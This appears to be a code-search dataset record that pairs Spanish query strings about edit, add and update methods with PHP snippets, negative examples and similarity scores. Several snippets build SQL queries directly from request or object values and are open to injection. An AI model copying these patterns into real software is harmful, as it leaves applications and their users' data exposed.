"public function mostrar_editar($datos) {\r\n\t\t\t $this -> pantalla_edicion('editar',$datos);\r\n\t\t }", "public function edit()\r\n {\r\n return null;\r\n }", "public function edit()\n { \n }", "function a_edit() {\n\t\t$id = isset($_GET[\"id\"]) ? $_GET[\"id\"] : 0;\n\t\t$u=new Gestionnaire($id);\n\t\textract($u->data);\t\n\t\trequire $this->gabarit;\n\t}", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function edit()\n {\n\n }", "public function editar() {\n\t\t$POST = array();\n\n\t\t\t##apagando indice de tokenrequest pois ele não existe na tabela de categorias\n\t\tunset($this->request->data['TokenRequest']);\t\n\n\t\t$POST = array('UsuarioCliente'=>$this->request->data);\t\n\t\tif ($this->UsuarioCliente->save($POST)) \n\t\t{\n\t\t\t$this->Message = 'Usuario editado com sucesso';\n\t\t\t$this->Return = true;\t\n\t\t} \n\n\t\telse \n\t\t{\n\t\t\t$this->Message = 'Ocorreu um erro na edição de seu Usuario.';\n\t\t\t$this->Return = false;\t\n\t\t}\n\n\t\t$this->EncodeReturn();\t\n\t}", "public function edit() {\n\n }", "public function getEditar($id)\r\n {\r\n\r\n $arrTipoDocumento = TipoDocumento::lists('descripcion', 'id');\r\n $arrEstadoCivil = EstadoCivil::lists('descripcion', 'id');\r\n $arrPais = Pais::lists('descripcion', 'id');\r\n $arrProvincia = Provincia::lists('descripcion', 'id');\r\n $arrDepartamento = Departamento::lists('descripcion', 'id');\r\n $arrLocalidad = Localidad::lists('descripcion', 'id');\r\n $arrBarrio = Barrio::lists('descripcion', 'id');\r\n $arrTipoContacto = Contacto::lists('descripcion', 'id');\r\n $tituloHabilitante = TituloHabilitante::lists('descripcion', 'id');\r\n $organismoHabilitante = OrganismoHabilitante::lists('descripcion', 'id');\r\n\r\n\r\n $docente = Docente::findOrFail($id);\r\n\r\n $activo = $docente->activo;\r\n $empleado = $docente->empleado;\r\n $disertante = $docente->disertante;\r\n $nroLegajoHabilitante = $docente->nrolegajohabilitante;\r\n\r\n $arrContactos = new ArrayObject;\r\n\r\n foreach ($docente->persona->contactos as $contacto) {\r\n $arrContactos->offsetSet($contacto->descripcion, $contacto->pivot);\r\n }\r\n\r\n //return View::make('user.profile', array('user' => $user));\r\n\r\n return View::make('docentes.edit', array( \r\n 'docente' => $docente,\r\n 'arrTipoDocumento' => $arrTipoDocumento,\r\n 'arrEstadoCivil' => $arrEstadoCivil,\r\n 'arrPais' => $arrPais,\r\n 'arrProvincia' => $arrProvincia,\r\n 'arrDepartamento' => $arrDepartamento,\r\n 'arrLocalidad' => $arrLocalidad,\r\n 'arrBarrio' => $arrBarrio,\r\n 'arrContactos' => $arrContactos,\r\n 'arrTipoContacto' => $arrTipoContacto,\r\n 'tituloHabilitante' => $tituloHabilitante,\r\n 'activo' => $activo,\r\n 'empleado' => $empleado,\r\n 'disertante' => $disertante,\r\n 'organismoHabilitante' => $organismoHabilitante,\r\n 'nrolegajohabilitante' => $nroLegajoHabilitante\r\n ))->with('menu', ModulosHelper::MENU_GESTION_ACADEMICA)\r\n ->with('submenu', ModulosHelper::SUBMENU_DOCENTES)\r\n ->with('leer', Session::get('DOCENTE_LEER'))\r\n ->with('editar', Session::get('DOCENTE_EDITAR'))\r\n ->with('imprimir', Session::get('DOCENTE_IMPRIMIR'))\r\n ->with('eliminar', Session::get('DOCENTE_ELIMINAR'));\r\n }", "public function edit(Trabalho $trabalho)\n {\n //\n }", "public function editAction() {\n $model = new Application_Model_Compromisso();\n //busco no banco o quem eu quero editar\n $comp = $model->find($this->_getParam('id'));\n // renderiso uma view com os dados\n $this->view->assign(\"compromisso\", $comp);\n }", "public function getEdit($id)\n\t{\n\t\t//\n\t}", "function editar_operador(){\t\t\n\t\t$this->accion=\"Editando Datos del Operador\";\n\t\tif (isset($_POST['envio']) && $_POST['envio']==\"Guardar\" && isset($_GET['id']) && $_GET['id']!=\"\"){\n\t\t\t$id=$_GET['id'];\n\t\t\t$this->asignar_valores();\n\t\t\t$sql=\"UPDATE operador SET cantidad_op='$this->cantidad', nombre_op='$this->nombre', apellido_op='$this->apellido', cedula_op='$this->cedula' WHERE id_op='$id'\";\n\t\t\t$consulta=mysql_query($sql) or die(mysql_error());\n\t\t\theader(\"location:/admin/operador/\");\n\t\t}else{\n\t\t\t\n\t\t\t$this->mostrar_operador();\n\t\t\t\n\t\t}\n\t\t\n\t}", "public function getEditForm();", "public function edit()\n {\n $sql = \"UPDATE pedidos SET estado = '{$this->getEstado()}' \";\n\n $sql .= \" WHERE id={$this->getId()};\";\n // echo $sql;\n //echo \"<br/>\";\n // echo $this->db->error;\n // die();\n\n $save = $this->db->query($sql);\n \n // echo $sql;\n // echo \"<br/>\";\n // echo $this->db->error;\n // die();\n\n $result = false;\n\n if ($save) {\n $result = true;\n }\n return $result;\n }", "public function edit(Detalle $detalle)\n {\n //\n }", "public function edit(DatosActualizados $datosActualizados)\n {\n //\n }", "public function editarAportante(){ \n if(isset($_POST[\"cedulaE\"]))\n {\n $aportante=new Aportante($this->adapter);\n $aportante->setAportanteID($_POST[\"idE\"]);\n $aportante->setCedula($_POST[\"cedulaE\"]);\n $aportante->setNames($_POST[\"namesE\"]);\n $aportante->setLastnames($_POST[\"lastnamesE\"]);\n $aportante->setPhoneHome($_POST[\"phoneHomeE\"]);\n\t\t\t$aportante->setPhoneMobile($_POST[\"phoneMobileE\"]);\n\t\t\t$aportante->setEmail($_POST[\"emailE\"]);\n $save=$aportante->update(); // Manda a actualizar la moto en el modelo\n } \n $this->redirect(\"BandejaCallcenters\", \"index\"); // COntrolador + Vista\n }", "public function Edit()\n\t{\n\t\t\n\t}", "public function edit(Comida $comida)\n {\n //\n }", "public function editar()\n\t{\n\t\t$estado = new Estado();\n\t\t$estado->idestado = $_POST['idestado'];\n\t\t$estado->nombre = $_POST['nombreeditar'];\n\t\t$estado->poblacion_hombres = $_POST['poblacionHeditar'];\n\t\t$estado->poblacion_mujeres = $_POST['poblacionMeditar'];\n\t\t$estado->poblacion_total = $_POST['poblacionTeditar'];\n\t\t$estado->edad_promedio = $_POST['edadPeditar'];\n\t\t$estado->update();\n\t\t//redireccionamos a la vista agregarEstado\n\t\theader(\"location: index.php?controller=Direccion&action=agregarEstado\");\n\t}", "function a_edit() {\n\t\tif (isset($_POST[\"btSubmit\"])) {\n\t\t\t$_POST['use_passw']=password_hash($_POST['use_passw'], PASSWORD_DEFAULT);\n\t\t\t$u=new User();\n\t\t\t$u->chargerDepuisTableau($_POST);\n\t\t\t$u->sauver();\n\t\t\theader(\"location:index.php?m=documents\");\n\t\t} else {\t\t\t\t\n\t\t\t$id = isset($_GET[\"id\"]) ? $_GET[\"id\"] : 0;\n\t\t\t$u=new User($id);\n\t\t\textract($u->data);\t\n\t\t\trequire $this->gabarit;\n\t\t}\n\t}", "public function edit($id){\n\t\t//\n\t}", "public function edit($id){\n\t\t//\n\t}", "function edit ()\n {\n $sql= \"UPDATE acceso SET id_acceso = '{$this->id_acceso}' , id_rol3 = '{$this->id_rol3}' , nombre ='{$this->nombre}' , password ='{$this->password}' , email= '{$this->email}', telefono ='{$this->telefono}', id_explotacion3 = '{$this->id_explotacion3}' WHERE id_acceso = '{$this->id_acceso}'\";\n \n echo $sql;\n \n $query=$this->db->query($sql);\n \n return $query;\n }", "public function edit($id)\n {\n $aspiranteGeneral = $this->aspiranteGeneralRepository->findWithoutFail($id);\n\n if (empty($aspiranteGeneral)) {\n Flash::error('Aspirante General not found');\n\n return redirect(route('aspiranteGenerals.index'));\n }\n //$prepas=PreparatoriaProcedencia::orderBy('nombre_preparatoria')->pluck('nombre_preparatoria','id');\n $entidadesFederativas=EntidadFederativa::orderBy('nombre_entidad')->pluck('nombre_entidad','id');\n $paises=Pais::orderBy('pais')->pluck('pais','id');\n\n\n\n\n $idEntFed=$aspiranteGeneral->entidad_federativa_dom_actual_id;\n $municipios=Municipio::municipios($idEntFed)->pluck('nombre_municipio','id');\n\n //$escuela_procedencia=PreparatoriaProcedencia::preparatoria($aspiranteGeneral->escuela_procedencia_id)->pluck('nombre_preparatoria','id');\n $escuela_procedencia=PreparatoriaProcedencia::where('entidades_federativas_id',$aspiranteGeneral->entidad_federativa_proc_id)->pluck('nombre_preparatoria','id');\n \n\n\n\n //dd($escuela_procedencia->nombre_preparatoria);\n //$escuela_procedencia_id=PreparatoriaProcedencia::find($aspiranteGeneral->escuela_procedencia_id)->id;\n //dd($escuela_procedencia_id);\n // dd($escuela_procedencia->nombre_preparatoria);\n\n $carrerasOf=CarreraOfertada::orderBy('carreras_id')->pluck('carreras_id','id');\n\n $carr=CarreraOfertada::consu()->pluck('nombre_carrera','id');\n\n\n $edo_civil=EstadoCivil::orderBy('id')->pluck('descripcion','id');\n $zona_proc=ZonaProcedencia::orderBy('id')->pluck('descripcion','id');\n $modo='editar';\n $folio=$aspiranteGeneral->folio_solicitud;\n $busca_periodo=ConfigFechaInscripcion::where('sol_asp_fi','<',Carbon::now())->Where('sol_asp_ff','>',Carbon::now())->first();\n $periodo=$busca_periodo['periodo_entrada_id'];\n $modalidad=$busca_periodo['tipo_modalidad_id'];\n $cve_pago='01999';\n $fechaLimite=substr($busca_periodo['fecha_limite_pago'],0,10);\n $importe=$busca_periodo['cantidad_pagar'];\n $asp_soc=AspiranteSocioecomico::where('aspirantes_generales_id',$id)->first();\n $idSoc=$asp_soc->id;\n $asp_sal=AspiranteSalud::where('aspirantes_generales_id',$id)->first();\n $idSal=$asp_sal->id;\n $status_asp=$aspiranteGeneral->status_asp;\n $captura_generales = str_contains($status_asp, '2');\n $captura_socioeco = str_contains($status_asp, '3');\n $captura_salud = str_contains($status_asp, '4');\n\n\n\n return view('aspirante_generals.edit',compact('entidadesFederativas','paises','municipios','carrerasOf','prepas','carr','edo_civil','zona_proc','aspiranteGeneral','modo','folio','periodo','modalidad','cve_pago','fechaLimite','importe','idSoc','idSal','captura_generales','captura_socioeco','captura_salud','escuela_procedencia'));\n }", "public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Browser_Service_Recsite::getRecsite(intval($id));\t\t\n\t\t$this->assign('info', $info);\n\t\t$this->assign('models', $this->models);\n\t\t$this->assign('types', $this->types);\n\t}", "public function peditberita(){\n\t\t$data_sender = $this->input->post('data_sender');\n//\t\tprint_r($data_sender);die();\n\t\t$flag = array('id_user'=>$this->input->post('oid'));\n\t\t$edit = array(\n\t\t\t'nama' => $this->input->post('nnama'),\n\t\t\t'email' => $this->input->post('nemail'),\n\t\t\t'no_hp' => $this->input->post('nhp'),\n\t\t\t'id_role' => $this->input->post('nrole')\n\t\t);\n\t\t$this->Allcrud->editData('user',$edit,$flag);\n\t}", "function EDIT() {\n\t\t// se construye la sentencia de busqueda de la tupla en la bd\n\t\t$sql = \"SELECT * FROM ENTREGA WHERE (login = '$this->login' AND IdTrabajo = '$this->IdTrabajo')\";\n \n\t\t// Variable que almacena la sentencia sql\n\t\t$result = $this->mysqli->query( $sql );\n\t\t// si el numero de filas es igual a uno es que lo encuentra\n\t\tif ( $result->num_rows == 1 ) { // se construye la sentencia de modificacion en base a los atributos de la clase\n\t\t\t//Si la ruta no es vacia actualiza la entrega\n if($this->Ruta <> null){\n //Variable que almacena la sentencia sql\n\t\t\t\t$sql = \"UPDATE ENTREGA SET \n\t\t\t\t\tlogin = '$this->login',\n\t\t\t\t\t IdTrabajo='$this->IdTrabajo',\n Alias='$this->Alias',\n Horas='$this->Horas',\n Ruta='$this->Ruta'\n\t\t\t\tWHERE ( login = '$this->login' AND IdTrabajo = '$this->IdTrabajo'\n\t\t\t\t)\";//se construye la sentencia sql de modificacion\n\n }\n //Si la ruta es vacia\n else{\n //Variable que almacena la sentencia sql\n $sql = \"UPDATE ENTREGA SET \n\t\t\t\t\tlogin = '$this->login',\n\t\t\t\t\t IdTrabajo='$this->IdTrabajo',\n Alias='$this->Alias',\n Horas='$this->Horas'\n\t\t\t\tWHERE ( login = '$this->login' AND IdTrabajo = '$this->IdTrabajo'\n\t\t\t\t)\";//se construye la sentencia sql de modificacion\n \n }\n\t\t\t// si hay un problema con la query se envia un mensaje de error en la modificacion\n\t\t\tif ( !( $resultado = $this->mysqli->query( $sql ) ) ) {\n\t\t\t\treturn 'Error en la modificación';\n\t\t\t}\n \n // si no hay problemas con la modificación se indica que se ha modificado\n else { \n\t\t\t\treturn 'Modificado correctamente';\n\t\t\t}\n // si no se encuentra la tupla se manda el mensaje de que no existe la tupla\n\t\t} else \n\t\t\treturn 'No existe en la base de datos';\n\t}", "public function edit()\n\t{\n\t\t\n\t\t$sql = SqlQuery::getInstance();\n\t\t\n\t\t$tbl = new AbTable(\"SELECT u.first_name, u.last_name, u.zip, c.* FROM IBO_camp c JOIN user u ON u.id = c.user_id\",array('user_id'));\n\t\t\n\t\treturn $tbl->getHtml();\n\t\t\n\t\t\n\t}", "public function edit(Resena $resena)\n {\n //\n }", "public function add_edit_form(){\n\n $_id = $_GET['id']; \n $tblName = $this->get_tbl_name();\n\n $source = DB::table($tblName)->where('id',$_id)->get();\n\n $source_first = $source[0];\n\n // mhtml::dump($source_first);\n\n\n $struct = $this->struct;\n\n mhtml::startForm(\"edit\",\"backend_edit.php\");\n\n // loop througth fields\n foreach ($this->edit as $key => $field) {\n\n $kind = $struct[$field] ;\n if($kind == 'string') {$kind = 'text' ;} \n $value = $source_first[$field];\n\n mhtml::field($this->virtual_names[$field],$field,$kind,$value);\n\n }\n\n // add secret field for password\n if(isset($this->edit_secret)){\n if($this->edit_secret == true ){\n\n Logger::warn(\"we use one secret only on secret[0] in secret array in model\");\n $virtual_pass = $this->virtual_names[$this->secret[0]];\n mhtml::field($virtual_pass,$this->secret[0],'password');\n\n }\n }\n\n \n\n\n\n\n // mhtml::field('user name ','user_name','text',\"mohammed\");\n // mhtml::field('passwording','password','password');\n // mhtml::field('age','age','number');\n\n mhtml::field_id_model();\n\n mhtml::submitForm();\n\n mhtml::endForm();\n\n }", "public function edit(Contratos $contratos)\n {\n //\n }", "function EDIT(){\n if(($this->DNI == '')){\n return 'Deportista vacio, introduzca un DNI';\n }else{\n $sql = $this->mysqli->prepare(\"SELECT * FROM deportista WHERE DNI = ?\");\n $sql->bind_param(\"s\", $this->DNI);\n $sql->execute();\n \n $resultado = $sql->get_result();\n \n if(!$resultado){\n return 'No se ha podido conectar con la BD';\n }else if($resultado->num_rows == 1){\n $sql = $this->mysqli->prepare(\"UPDATE deportista SET Nombre = ?, Edad = ?, Apellidos = ?, Contrasenha = ?, Cuota_socio=?, rolAdmin = ?, rolEntrenador = ?, Sexo=? WHERE DNI = ?\");\n $sql->bind_param(\"sissiiiss\", $this->Nombre, $this->Edad, $this->Apellidos, $this->Contrasenha, $this->Cuota_socio,$this->rolAdmin,$this->rolEntrenador, $this->Sexo,$this->DNI);\n $resultado = $sql->execute();\n \n if(!$resultado){\n return 'Ha fallado la actualización de deportista';\n }else{\n return 'Modificación correcta';\n }\n }else{\n return 'Deportista no existe en la base de datos';\n }\n }\n }", "public function edit_toko(){\n\t}", "public function edit(DetalleCuentasArrendatario $detalleCuentasArrendatario)\n {\n //\n }" ]
[ "0.73012656", "0.7291292", "0.724872", "0.72244614", "0.7185394", "0.71826017", "0.71561784", "0.7149788", "0.7129568", "0.71202576", "0.71077204", "0.7021593", "0.7003085", "0.69998276", "0.69971097", "0.6978638", "0.6978638", "0.6970921", "0.6959126", "0.69529355", "0.6944738", "0.69156283", "0.6908389", "0.69043267", "0.68616676", "0.68610007", "0.68573743", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.6846268", "0.684217", "0.684217", "0.684217", "0.68407285", "0.6836977", "0.68265605", "0.6822622", "0.6820685", "0.6793854", "0.6787685", "0.6780574", "0.67802316", "0.67695254", "0.6769089", "0.6761714", "0.67614233", "0.67582136", "0.67577714", "0.67558837", "0.67558837", "0.67558837", "0.67437273", "0.67363304", "0.6735492", "0.6729397", "0.6716794", "0.67132133", "0.6712292", "0.6712292", "0.6712292", "0.6712292", "0.6711932", "0.67104024", "0.67053986", "0.66985863", "0.66831464", "0.66789025", "0.66787976", "0.6674944", "0.6673711", "0.6666115", "0.6658155", "0.6651838", "0.6640355", "0.6636646", "0.66346157", "0.6633749", "0.6618119", "0.6618119", "0.6616911", "0.6615012", "0.66087574", "0.6601265", "0.6598637", "0.659606", "0.6593099", "0.65924346", "0.6588263", "0.6587618", "0.65839344", "0.65835136" ]
0.0
-1
metodo que sirve para agregar nuevo
public function addAll($idservicio, $idpaquete) { if(! intval( $idservicio ) || ! intval( $idpaquete )){ return false; } $idservicio=$this->db->real_escape_string($idservicio); $iduser=$this->db->real_escape_string($idpaquete); $sql= "INSERT INTO servicio_paquete (id_servicio,id_serviciopaquete) VALUES(".$idservicio.",".$idpaquete."); "; $res= $this->db->query($sql); $sql= "SELECT LAST_INSERT_ID();"; $res=$this->db->query($sql); $set=array(); $id=""; if(!$res){ die("Error getting result"); } else{ while ($row = $res->fetch_assoc()) $id= $row; } return $id["LAST_INSERT_ID()"]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function createNew() {\n\t}", "public function create() //添加\n {\n\t\t//\n }", "public function createNew();", "public function crear()\n {\n //\n }", "public function nuevo() {\n }", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create()\n\t{ \n \n\t}", "public function create()\n {\n //\n\t\t\n }", "public function create()\n\t{\n\n\n\t\t//\n\t}", "public function create()\n\t{\n\t\t\n\t\t//\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create()\n\t{\n\t\t\n\t}", "public function create(){\n\t}", "public function create()\n {\n\t\t\n }", "public function nuevo() {\n // Create a new post without validating.\n $new_post = Post::create(['author_id' => $this->current_user->id], false);\n redirect('/backend/posts/edit', [], ['id' => $new_post->id]);\n }", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}", "public function create()\n\t{\n\t\t//\n\t}" ]
[ "0.7437746", "0.73258656", "0.7304588", "0.7231483", "0.7201239", "0.7046035", "0.7046035", "0.7046035", "0.7046035", "0.7018707", "0.69247115", "0.69069695", "0.68762505", "0.68747467", "0.68747467", "0.68747467", "0.68747467", "0.68747467", "0.68747467", "0.68747467", "0.68747467", "0.6874462", "0.6854642", "0.6850897", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761", "0.6850761" ]
0.0
-1
metodo que sirve para hacer update
public function updateAll($id,$_request) { $_request["updated_date"]=date("Y-m-d H:i:s"); $data=fromArray($_request,'servicio_paquete',$this->db,"update"); $sql= "UPDATE servicio_paquete SET $data[0] WHERE id=".$id.";"; $row=$this->db->query($sql); if(!$row){ return false; }else{ return true; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function update() {}", "protected function _update()\n\t{\n\t}", "protected function _update()\n {\n \n }", "protected function _update()\n {\n \n }", "abstract protected function update ();", "public function update() {\r\n\r\n\t}", "public function update()\n\t{\n\n\t}", "public function db_update() {}", "public function update()\r\n {\r\n //\r\n }", "public function update();", "public function update();", "public function update();", "public function update();", "public function update()\r\n {\r\n \r\n }", "abstract public function update();", "abstract public function update();", "public function update()\n {\n //\n }", "public function update()\n {\n //\n }", "abstract public function updateData();", "public function testUpdate(): void { }", "public function actionUpdate() {}", "public function actionUpdate() {}", "public abstract function update();", "public function updating()\n {\n # code...\n }", "public function update()\n {\n\n }", "public function update()\n {\n\n }", "public function update() {\r\n }", "public function update(){\n $sql = \"update \".self::$tablename.\" set correlativo=\\\"$this->correlativo\\\",nombre_instalador=\\\"$this->nombre_instalador\\\",nombre_proyecto=\\\"$this->nombre_proyecto\\\",localizacion=\\\"$this->localizacion\\\",contrato_orden_trabajo=\\\"$this->contrato_orden_trabajo\\\",sector_trabajo=\\\"$this->sector_trabajo\\\",area_aceptada=\\\"$this->area_aceptada\\\",fecha_proyecto=\\\"$this->fecha_proyecto\\\" where id_usuario=$this->id_usuario\";\n Executor::doit($sql);\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update()\n {\n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",lastname=\\\"$this->lastname\\\",username=\\\"$this->username\\\",email=\\\"$this->email\\\",kind=\\\"$this->kind\\\",status=\\\"$this->status\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "abstract function update();", "protected function saveUpdate()\n {\n }", "public function Do_update_Example1(){\n\n\t}", "public function update()\n {\n # code...\n }", "public function update($data) {}", "public function update($data) {}", "public function update () {\n\n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",comments=\\\"$this->comments\\\",price=\\\"$this->price\\\",brand=\\\"$this->brand\\\",model=\\\"$this->model\\\",y=\\\"$this->y\\\",link=\\\"$this->link\\\",in_existence=\\\"$this->in_existence\\\",is_public=\\\"$this->is_public\\\",is_featured=\\\"$this->is_featured\\\",category_id=\\\"$this->category_id\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "public function forUpdate($set = TRUE);", "public function update(){\n\n }", "public function update(){\n\n }", "function updateField() {\n DATABASE::INIT_TABLE($this->database, $this->table);\n $fname = $this->urlParam('fname');\n $fvalue = $this->urlParam('fvalue');\n $id = $this->urlParam('id');\n DATABASE::UPDATE($this->table, [$fname], [$fvalue], $id);\n }", "public function SQL_UPDATE() {\r\n\t}", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set Origen='$this->Origen',Fechap='$this->Fechap',Horap='$this->Horap',Cod_Referencia='$this->Referencia',Nombre_Referencia='$this->Nombre',Ref_Tela='$this->Reftela',Pinta='$this->Pinta',Color='$this->Color',Proceso='$this->Proceso',Ubicacion='$this->Ubicacion',SKU='$this->Sku',Maquina='$this->Maquina',Longitud_Inicial='$this->Longitudini',Longitud_Final='$this->Longitudfin',Peso='$this->Peso',Grados_PFoAT800K='$this->Plancha',Grados_Plato='$this->Plato',Grados_Pie='$this->Pie',Grados_Aire_S='$this->Airesup',Grados_Aire_I='$this->Aireinf',Caudal_Sup='$this->Caudalsup',Caudal_Inf='$this->Caudalinf',Presion='$this->Presion',Velocidad='$this->Velocidad',Velocidad_Sup='$this->Velocidad_Sup',Velocidad_Inf='$this->Velocidad_Inf',Intensidad='$this->Intensidad',Tiempo_Exp='$this->Tiempo',Resultado='$this->Resultado',Dinamometro='$this->Dinamometro',Observaciones1='$this->Observaciones' where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "private function _update() {\n\n $this->db->replace(XCMS_Tables::TABLE_USERS, $this->getArray());\n $this->attributes->save();\n\n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",short_name=\\\"$this->short_name\\\",is_active=\\\"$this->is_active\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "public function update()\n {\n \n }", "public function update()\n {\n \n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\",email1=\\\"$this->email1\\\",address1=\\\"$this->address1\\\",lastname=\\\"$this->lastname\\\",phone1=\\\"$this->phone1\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "protected function performUpdate() {}", "function update() {\n\n\t\t\t}", "protected function _updatefields() {}", "abstract protected function updateModel();", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set name=\\\"$this->name\\\" where id=$this->id\";\n\t\tExecutor::doit($sql);\n\t}", "public function updateMultiple_data()\n {\n \n }", "public function update(){\n\t\t$sql = \"update \".self::$tablename.\" set nombre=\\\"$this->name\\\", razon_social=\\\"$this->razon\\\", status=$this->is_active where id_banco=$this->id_banco\";\n\t\tExecutor::doit($sql);\n\t}", "public static function update(){\n }", "public function testUpdateSuperfund()\n {\n }", "function update() {\n\t\t\t$updateQuery = \"UPDATE \".$this->table.\" SET \";\n\n\t\t\t$keysAR = array_keys($this->activeRecord);\n\n\t\t\tfor ($loopUp = 0; $loopUp < count($this->activeRecord); $loopUp++) {\n\n $updateQuery .= $keysAR[$loopUp] . \" = ?, \";\n $paramArray[] = $this->activeRecord[$keysAR[$loopUp]];\n\n\t\t\t}\n\n\t\t\t$updateQuery = substr($updateQuery, 0, -2); // Haal de laatste komma weg.\n\n\t\t\t$updateQuery .= \" WHERE \";\n\n\t\t\t// Fetch de primary key van de tabel.\n $fetchPrimary = $this->mysqlConnection->query(\"SHOW INDEX FROM \".$this->table);\n $arrayIndex = $fetchPrimary->fetch(PDO::FETCH_ASSOC);\n $kolomIndex = $arrayIndex['Column_name'];\n\n $updateQuery .= $kolomIndex.\" = 